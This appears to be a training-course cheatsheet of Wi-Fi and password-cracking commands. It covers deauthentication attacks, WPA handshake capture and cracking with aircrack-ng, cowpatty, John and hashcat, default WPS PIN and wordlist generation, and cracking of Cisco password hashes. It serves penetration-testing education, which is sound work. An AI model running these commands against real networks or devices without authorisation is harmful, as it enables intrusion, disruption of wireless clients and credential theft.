Command Palette

Search for a command to run...

Cheatsheets
PreviousNext

Wi-Fi Password Cracking Techniques

The Traditional WPA Attack

CommandDescription
sudo airmon-ng start wlan0Enable monitor mode.
sudo airodump-ng wlan0mon -c 1 -w WPAScan for Wi-Fi networks and associated clients.
sudo aireplay-ng -0 5 -a 80:2D:BF:FE:13:83 -c 8A:00:A9:9B:ED:1A wlan0monLaunch a deauthentication attack.
cowpatty -c -r WPA-01.capValidate whether a proper WPA handshake was captured.
cowpatty -r WPA-01.cap -f /opt/wordlist.txt -s HackTheBoxRetrieve the WPA-PSK from a captured handshake (cowpatty).
aircrack-ng WPA-01.cap -w /opt/wordlist.txtRetrieve the WPA-PSK from a captured handshake (aircrack-ng).
./wpapcap2john WPA-01.pcap > hashParse the 4-Way Handshake to produce a hash (JtR format).
john hash --wordlist=/usr/share/wordlists/rockyou.txt --format=wpapskCrack the WPA hash (JtR).
hcxpcapngtool -o hash WPA-01.pcapParse the 4-Way Handshake to produce a hash (Hashcat format).
hashcat -m 22000 --force hash wordlist.txtCrack the WPA hash (Hashcat).

Using Hashcat

CommandDescription
hashcat -IIdentify available CPU and GPU devices.
hashcat -m 22000 hash wordlist.txt -D 1 -d 2CPU based cracking, using device number 2.
hashcat -m 22000 hash wordlist.txt -D 2 -d 8GPU based cracking, using device number 8.
hashcat -m 22000 hash wordlist.txt -w 3Workload level 3.
hashcat -m 22000 hash wordlist.txt -OOptimized kernel.
hashcat -m 22000 hash wordlist.txt -D 1 --cpu-affinity=1,2,3,4Bind to specific CPU cores.
hashcat -m 22000 hash wordlist.txt -D 1 --cpu-affinity=1,2,3,4 --hook-threads=8Control number of threads.
hashcat -m 22000 hash wordlist.txt -D 1,2 -d 1,2Use GPU and CPU simultaneously.
hashcat -m 22000 hash wordlist.txt -r /usr/share/hashcat/rules/T0XlC.ruleApply a rule file to the wordlist.
hashcat -a 3 -m 22000 hash '?u?l?l?l?l?l?l?l?a?d?d?d?d?d'Launch a mask attack.
hashcat -a 3 -m 22000 hash --increment --increment-min 8 --increment-max=14 '?u?l?l?l?l?l?l?l?a?d?d?d?d?d'Apply a mask increment (minimum length 8, maximum length 14).
hashcat -a 1 -m 22000 hash wordlist1 wordlist2Launch a combinator attack.
hashcat -a 6 -m 22000 hash wordlist.txt ?d?d?dHybrid mode 6 (dictionary followed by mask).
hashcat -a 7 -m 22000 hash ?d?d?d wordlistHybrid mode 7 (mask followed by wordlist).

Hashcat Rule Operations

RuleDescription
cCapitalize the first character, lowercase the rest.
CLowercase the first character, uppercase the rest.
tToggle the case of all characters in the word.
T2Toggle the case of the character at position 3.
$1Append 1 to the end.
^1Prepend 1 to the front.
rReverse the word.
sa@Substitute a with @.
dDuplicate the word.
z5Duplicate first character 5 times.
Z5Duplicate last character 5 times.

Hashcat Mask Charset

MaskDescription
?lLower-case ASCII letters.
?uUpper-case ASCII letters.
?dDigits.
?hDigits with lower-case ASCII letters.
?HDigits with upper-case ASCII letters.
?sSpecial characters.
?aCombination of ?l, ?u, ?d and ?s.
?bAll possible byte values.

Generating Credentials

CommandDescription
grep -i "9C-C9-EB" /var/lib/ieee-data/oui.txtManufacturer lookup by BSSID prefix.
python3 NPCinator.py > passwords.txtGenerate Netgear default passwords.
wpspin D4:BF:7F:EB:29:D2Generate the default WPS PIN for a given BSSID.
wpspin -A D4:BF:7F:EB:29:D2Generate a variety of WPS PINs for a given BSSID.
cupp -iLaunch CUPP in interactive mode.
cewl http://logistics.local -d 4 -m 8 -w inlane.wordlistGenerate a wordlist from crawled website content (depth 4, min length 8).
./username-anarchy David SmithGenerate a list of possible username permutations.
./username-anarchy --list-formatsList available username formats.
./username-anarchy --country france --autoGenerate usernames following a country-specific naming convention.
./username-anarchy --recognise j.smithIdentify the username format.

Miscellaneous Attacks

CommandDescription
genpmk -f /opt/rockyou.txt -d /tmp/hashtable -s HackTheBoxGenerate a precomputed hash table.
john --format=Raw-SHA256 --wordlist=/opt/rockyou.txt hashCrack a Cisco Type 4 password hash (JtR).
hashcat -m 5700 -O -a 0 hash /usr/share/wordlists/rockyou.txtCrack a Cisco Type 4 password hash (Hashcat).
john --format=md5crypt --fork=4 --wordlist=/opt/rockyou.txt hashCrack a Cisco Type 5 password hash (JtR).
hashcat -m 500 -O -a 0 hash /usr/share/wordlists/rockyou.txtCrack a Cisco Type 5 password hash (Hashcat).
python ciscot7.py -d -p 08116C5D1A0E550516Decrypt a Cisco Type 7 password.
john --format=pbkdf2-hmac-sha256 --fork=4 --wordlist=/opt/rockyou.txt hashCrack a Cisco Type 8 password hash (JtR).
hashcat -m 9200 -a 0 hash /usr/share/wordlists/rockyou.txtCrack a Cisco Type 8 password hash (Hashcat).
john --format=scrypt --fork=4 --wordlist=/opt/rockyou.txt hashCrack a Cisco Type 9 password hash (JtR).
hashcat -m 9300 -a 0 --force hash /usr/share/wordlists/rockyou.txtCrack a Cisco Type 9 password hash (Hashcat).